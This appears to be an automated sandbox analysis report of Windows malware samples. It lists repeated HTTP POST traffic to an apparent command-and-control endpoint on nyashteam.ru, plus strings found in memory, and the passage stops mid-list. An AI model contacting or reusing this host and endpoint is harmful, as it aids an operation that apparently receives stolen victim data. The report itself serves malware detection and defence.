Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2288Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1708Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1732Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 1720Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 2292Expect: 100-continue

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 895157cm.nyashteam.ru

Source: unknown

HTTP traffic detected: POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 895157cm.nyashteam.ruContent-Length: 336Expect: 100-continueConnection: Keep-Alive

Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://895157cm.nyashtX
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://895157cm.nyashteam.ru
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://895157cm.nyashteam.ru/
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002DAF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.000000000306D000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://895157cm.nyashteam.ru/videogeoflowertestuniversaldleLocalCentral.php
Source: 6G8OR42xrB.exe, 00000000.00000002.1781413855.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2992681304.000000001F262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, gq7el7fwy6.6.dr, hvQqyAPQm5.6.dr, J0N80qADPH.6.dr, INyC7kfncg.6.dr, FyEZ3enody.6.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 